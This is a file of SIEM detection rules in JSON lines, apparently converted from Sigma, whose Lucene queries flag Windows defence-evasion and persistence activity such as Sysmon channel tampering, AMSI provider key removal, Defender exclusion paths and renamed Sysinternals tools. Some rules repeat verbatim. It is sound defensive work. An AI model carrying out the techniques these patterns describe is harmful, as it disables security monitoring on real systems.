"", "", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Potential threat actor tampering with Sysmon manifest and eventually disabling it", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d8400660-98ef-4519-3d46-cbb824547620", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sysmon Channel Reference Deletion", "query": "(winlog.channel:\"Security\" AND winlog.event_data.ObjectName:(*WINEVT\\\\Publishers\\\\\\{5770385f\\-c22a\\-43e0\\-bf4c\\-06f5698ffbd9\\}* OR *WINEVT\\\\Channels\\\\Microsoft\\-Windows\\-Sysmon\\/Operational*) AND ((winlog.event_id:\"4657\" AND winlog.event_data.ObjectValueName:\"Enabled\" AND NewValue:\"0\") OR (winlog.event_id:\"4663\" AND winlog.event_data.AccessMask:\"65536\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Powershell Remove-Item with -Path to delete a file or a folder with \"-Recurse\"", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8d28a91-8406-68ac-9a37-fc7a9481519c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Use Remove-Item to Delete File", "query": "((powershell.file.script_block_text:*Remove\\-Item* AND powershell.file.script_block_text:*\\-Path\\ *) AND (NOT (powershell.file.script_block_text:(*HKCU\\:\\\\* OR *HKLM\\:\\\\*))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Powershell use PassThru option to start in background", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6dc901c6-4c45-72cc-e1e9-0fcdb4413a25", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Start-Process PassThru", "query": "(powershell.file.script_block_text:*Start\\-Process* AND powershell.file.script_block_text:*\\-PassThru\\ * AND powershell.file.script_block_text:*\\-FilePath\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation.\nIn it's default mode, it builds a self deleting .bat file which executes malicious command.\nThe detection rule relies on creation of the malicious bat file (debug.bat by default).\n", "enabled": false, "false_positives": ["Any powershell script that creates bat files"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "aec159f6-1337-e4f2-22a5-19c79615ba6a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powerup Write Hijack DLL", "query": "(process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND file.path.text:*.bat)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Subhash Popuri (@pbssubhash)"], "license": ""}
{"description": "Qbot used reg.exe to add Defender folder exceptions for folders within AppData and ProgramData.", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c79c878e-d139-cbb8-2b1b-ef58431cf791", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Registry Defender Exclusions", "query": "(process.executable.text:*\\\\reg.exe AND process.command_line.text:(*SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\\\\Exclusions\\\\Paths* OR *SOFTWARE\\\\Microsoft\\\\Microsoft\\ Antimalware\\\\Exclusions\\\\Paths*) AND process.command_line.text:*ADD\\ * AND process.command_line.text:*\\/t\\ * AND process.command_line.text:*REG_DWORD\\ * AND process.command_line.text:*\\/v\\ * AND process.command_line.text:*\\/d\\ * AND process.command_line.text:*0*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Ransomware create txt file in the user Desktop", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d1ff74c3-f698-7a9d-953a-8abb3176e249", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Creation TXT File in User Desktop", "query": "(process.executable:*\\\\cmd.exe AND file.path:*\\\\Users\\\\* AND file.path:*\\\\Desktop\\\\* AND file.path:*.txt)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1486"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1486", "name": "Data Encrypted for Impact", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Raw disk access using illegitimate tools, possible defence evasion", "enabled": false, "false_positives": ["Legitimate Administrator using tool for raw access or ongoing forensic investigation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ddbec290-196f-fb9a-b453-c126fdd046fd", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Raw Disk Access Using Illegitimate Tools", "query": "(NOT ((Device:*floppy*) OR (process.executable.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SystemApps\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\Windows\\\\servicing\\\\* OR C\\:\\\\Windows\\\\CCM\\\\* OR C\\:\\\\Windows\\\\uus\\\\* OR C\\:\\\\Windows\\\\WinSxs\\\\*)) OR (ProcessId:\"4\") OR (process.executable.text:(\"C\\:\\\\Windows\\\\UUS\\\\amd64\\\\MoUsoCoreWorker.exe\" OR \"C\\:\\\\Windows\\\\explorer.exe\")) OR (process.executable.text:(\"System\" OR \"Registry\")) OR (process.executable.text:*\\\\Keybase\\\\upd.exe) OR (process.executable.text:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* AND process.executable.text:*\\\\MsMpEng.exe) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (process.executable.text:*C\\:\\\\Users\\\\* AND process.executable.text:*\\\\AppData\\\\* AND process.executable.text:*\\\\Microsoft\\\\*) OR (process.executable.text:C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* AND process.executable.text:*\\\\thor.exe) OR (process.executable.text:C\\:\\\\Windows\\\\SystemApps\\\\Microsoft.Windows.StartMenuExperienceHost* AND process.executable.text:*\\\\StartMenuExperienceHost.exe) OR (process.executable.text:\"C\\:\\\\$WINDOWS.\\~BT\\\\Sources\\\\SetupHost.exe\") OR (process.executable.text:C\\:\\\\Windows\\\\SoftwareDistribution\\\\Download* AND process.executable.text:*\\\\WindowsUpdateBox.exe)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1006"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1006", "name": "Direct Volume Access", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "oscd.community"], "license": ""}
{"description": "Raw disk access using illegitimate tools, possible defence evasion", "enabled": false, "false_positives": ["Legitimate Administrator using tool for raw access or ongoing forensic investigation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ddbec290-196f-fb9a-b453-c126fdd046fd", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Raw Disk Access Using Illegitimate Tools", "query": "(NOT ((Device:*floppy*) OR (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SystemApps\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\Windows\\\\servicing\\\\* OR C\\:\\\\Windows\\\\CCM\\\\* OR C\\:\\\\Windows\\\\uus\\\\* OR C\\:\\\\Windows\\\\WinSxs\\\\*)) OR (ProcessId:\"4\") OR (process.executable:(\"C\\:\\\\Windows\\\\UUS\\\\amd64\\\\MoUsoCoreWorker.exe\" OR \"C\\:\\\\Windows\\\\explorer.exe\")) OR (process.executable:(\"System\" OR \"Registry\")) OR (process.executable:*\\\\Keybase\\\\upd.exe) OR (process.executable:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* AND process.executable:*\\\\MsMpEng.exe) OR (process.executable:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (process.executable:*C\\:\\\\Users\\\\* AND process.executable:*\\\\AppData\\\\* AND process.executable:*\\\\Microsoft\\\\*) OR (process.executable:C\\:\\\\Windows\\\\Temp\\\\asgard2\\-agent\\\\* AND process.executable:*\\\\thor.exe) OR (process.executable:C\\:\\\\Windows\\\\SystemApps\\\\Microsoft.Windows.StartMenuExperienceHost* AND process.executable:*\\\\StartMenuExperienceHost.exe)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1006"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1006", "name": "Direct Volume Access", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "oscd.community"], "license": ""}
{"description": "RDP login with localhost source address may be a tunnelled login", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "93da83ee-1e70-6a05-ba9a-ea97de2ebfba", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RDP Login from Localhost", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4624\" AND winlog.event_data.LogonType:\"10\" AND source.ip:(\"\\:\\:1\" OR \"127.0.0.1\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Remote desktop is a common feature in operating systems.\nIt allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.\nMicrosoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "476d28b7-c17a-0dd9-7c27-60b7befbf73e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Changing RDP Port to Non Standard Number", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal\\ Server\\\\WinStations\\\\RDP\\-Tcp\\\\PortNumber\") AND (NOT (winlog.event_data.Details:\"DWORD\\ \$0x00000d3d\$\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Remote registry management using REG utility from non-admin workstation", "enabled": false, "false_positives": ["Legitimate usage of remote registry management by administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1719b724-9b58-0150-f9f9-7d6e7f037524", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remote Registry Management Using Reg Utility", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"5145\" AND winlog.event_data.RelativeTargetName:*\\\\winreg*) AND (NOT (source.ip:\"%Admins_Workstations%\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "Defense Evasion", "T1012", "T1112", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1012", "name": "Query Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "oscd.community"], "license": ""}
{"description": "Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.", "enabled": false, "false_positives": ["Approved installs of Windows SDK with Debugging Tools for Windows (WinDbg)."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e8853caf-7b85-1a34-81a4-2727dd0c37db", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of Remote.exe", "query": "(process.executable:*\\\\remote.exe OR winlog.event_data.OriginalFileName:\"remote.exe\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock @SecurePeacock", "SCYTHE @scythe_io"], "license": ""}
{"description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "665c92f3-c9a8-6bec-f9a2-600a42a6f857", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand - PowerShell Module", "query": "(ContextInfo:*Invoke\\-ATHRemoteFXvGPUDisablementCommand\\ * AND ContextInfo:(*\\-ModuleName\\ * OR *\\-ModulePath\\ * OR *\\-ScriptBlock\\ * OR *\\-RemoteFXvGPUDisablementFilePath*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c6697133-495d-d1dc-bd50-a8c1be427b57", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", "query": "(process.command_line.text:*Invoke\\-ATHRemoteFXvGPUDisablementCommand\\ * AND process.command_line.text:(*\\-ModuleName\\ * OR *\\-ModulePath\\ * OR *\\-ScriptBlock\\ * OR *\\-RemoteFXvGPUDisablementFilePath*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c6697133-495d-d1dc-bd50-a8c1be427b57", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", "query": "(process.command_line.text:*Invoke\\-ATHRemoteFXvGPUDisablementCommand\\ * AND process.command_line.text:(*\\-ModuleName\\ * OR *\\-ModulePath\\ * OR *\\-ScriptBlock\\ * OR *\\-RemoteFXvGPUDisablementFilePath*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6ffb8e9d-aa1b-6618-0deb-5200df3e22df", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Removal Amsi Provider Reg Key", "query": "(winlog.event_data.EventType:\"DeleteKey\" AND winlog.event_data.TargetObject:(*\\{2781761E\\-28E0\\-4109\\-99FE\\-B9D127C57AFE\\} OR *\\{A7C452EF\\-8E9F\\-42EB\\-9F2B\\-245613CA0DC9\\}))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f771422f-8861-b949-8121-e3e0d72554da", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Unblock-File", "query": "(powershell.file.script_block_text:*Unblock\\-File\\ * AND powershell.file.script_block_text:*\\-Path\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Rename as a legitim Sysinternals Suite tools to evade detection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0cd583a2-e1ed-5252-9a91-d78e5f12f50a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "False Sysinternals Suite Tools", "query": "(process.executable:(*\\\\accesschk.exe OR *\\\\accesschk64.exe OR *\\\\AccessEnum.exe OR *\\\\ADExplorer.exe OR *\\\\ADExplorer64.exe OR *\\\\ADInsight.exe OR *\\\\ADInsight64.exe OR *\\\\adrestore.exe OR *\\\\adrestore64.exe OR *\\\\Autologon.exe OR *\\\\Autologon64.exe OR *\\\\Autoruns.exe OR *\\\\Autoruns64.exe OR *\\\\autorunsc.exe OR *\\\\autorunsc64.exe OR *\\\\Bginfo.exe OR *\\\\Bginfo64.exe OR *\\\\Cacheset.exe OR *\\\\Cacheset64.exe OR *\\\\Clockres.exe OR *\\\\Clockres64.exe OR *\\\\Contig.exe OR *\\\\Contig64.exe OR *\\\\Coreinfo.exe OR *\\\\Coreinfo64.exe OR *\\\\CPUSTRES.EXE OR *\\\\CPUSTRES64.EXE OR *\\\\ctrl2cap.exe OR *\\\\Dbgview.exe OR *\\\\dbgview64.exe OR *\\\\Desktops.exe OR *\\\\Desktops64.exe OR *\\\\disk2vhd.exe OR *\\\\disk2vhd64.exe OR *\\\\diskext.exe OR *\\\\diskext64.exe OR *\\\\Diskmon.exe OR *\\\\Diskmon64.exe OR *\\\\DiskView.exe OR *\\\\DiskView64.exe OR *\\\\du.exe OR *\\\\du64.exe OR *\\\\efsdump.exe OR *\\\\FindLinks.exe OR *\\\\FindLinks64.exe OR *\\\\handle.exe OR *\\\\handle64.exe OR *\\\\hex2dec.exe OR *\\\\hex2dec64.exe OR *\\\\junction.exe OR *\\\\junction64.exe OR *\\\\ldmdump.exe OR *\\\\listdlls.exe OR *\\\\listdlls64.exe OR *\\\\livekd.exe OR *\\\\livekd64.exe OR *\\\\loadOrd.exe OR *\\\\loadOrd64.exe OR *\\\\loadOrdC.exe OR *\\\\loadOrdC64.exe OR *\\\\logonsessions.exe OR *\\\\logonsessions64.exe OR *\\\\movefile.exe OR *\\\\movefile64.exe OR *\\\\notmyfault.exe OR *\\\\notmyfault64.exe OR *\\\\notmyfaultc.exe OR *\\\\notmyfaultc64.exe OR *\\\\ntfsinfo.exe OR *\\\\ntfsinfo64.exe OR *\\\\pendmoves.exe OR *\\\\pendmoves64.exe OR *\\\\pipelist.exe OR *\\\\pipelist64.exe OR *\\\\portmon.exe OR *\\\\procdump.exe OR *\\\\procdump64.exe OR *\\\\procexp.exe OR *\\\\procexp64.exe OR *\\\\Procmon.exe OR *\\\\Procmon64.exe OR *\\\\psExec.exe OR *\\\\psExec64.exe OR *\\\\psfile.exe OR *\\\\psfile64.exe OR *\\\\psGetsid.exe OR *\\\\psGetsid64.exe OR *\\\\psInfo.exe OR *\\\\psInfo64.exe OR *\\\\pskill.exe OR *\\\\pskill64.exe OR *\\\\pslist.exe OR *\\\\pslist64.exe OR *\\\\psLoggedon.exe OR *\\\\psLoggedon64.exe OR *\\\\psloglist.exe OR *\\\\psloglist64.exe OR *\\\\pspasswd.exe OR *\\\\pspasswd64.exe OR *\\\\psping.exe OR *\\\\psping64.exe OR *\\\\psService.exe OR *\\\\psService64.exe OR *\\\\psshutdown.exe OR *\\\\psshutdown64.exe OR *\\\\pssuspend.exe OR *\\\\pssuspend64.exe OR *\\\\RAMMap.exe OR *\\\\RDCMan.exe OR *\\\\RegDelNull.exe OR *\\\\RegDelNull64.exe OR *\\\\regjump.exe OR *\\\\ru.exe OR *\\\\ru64.exe OR *\\\\sdelete.exe OR *\\\\sdelete64.exe OR *\\\\ShareEnum.exe OR *\\\\ShareEnum64.exe OR *\\\\shellRunas.exe OR *\\\\sigcheck.exe OR *\\\\sigcheck64.exe OR *\\\\streams.exe OR *\\\\streams64.exe OR *\\\\strings.exe OR *\\\\strings64.exe OR *\\\\sync.exe OR *\\\\sync64.exe OR *\\\\Sysmon.exe OR *\\\\Sysmon64.exe OR *\\\\tcpvcon.exe OR *\\\\tcpvcon64.exe OR *\\\\tcpview.exe OR *\\\\tcpview64.exe OR *\\\\Testlimit.exe OR *\\\\Testlimit64.exe OR *\\\\vmmap.exe OR *\\\\vmmap64.exe OR *\\\\Volumeid.exe OR *\\\\Volumeid64.exe OR *\\\\whois.exe OR *\\\\whois64.exe OR *\\\\Winobj.exe OR *\\\\Winobj64.exe OR *\\\\ZoomIt.exe OR *\\\\ZoomIt64.exe) AND (NOT ((Company:(\"Sysinternals\\ \\-\\ www.sysinternals.com\" OR \"Sysinternals\")) OR (NOT _exists_:Company))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1202", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider.", "enabled": false, "false_positives": ["Applications that are being used as part of automated testing or a legacy application that cannot use any other modern authentication flow"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0b44d416-ba33-4ee2-ae76-e73a3ac7126a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Applications That Are Using ROPC Authentication Flow", "query": "properties.message:\"ROPC\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Initial Access", "Privilege Escalation", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Bailey Bercik '@baileybercik'"], "license": ""}
{"description": "Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log", "author": ["Jose Rodriguez @Cyb3rPandaH"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "67e273ee-ec24-f683-24ce-529f789f334b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Exchange Set OabVirtualDirectory ExternalUrl Property", "query": "(*Set-OabVirtualDirectory* AND *ExternalUrl* AND *Page_Load* AND *script*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
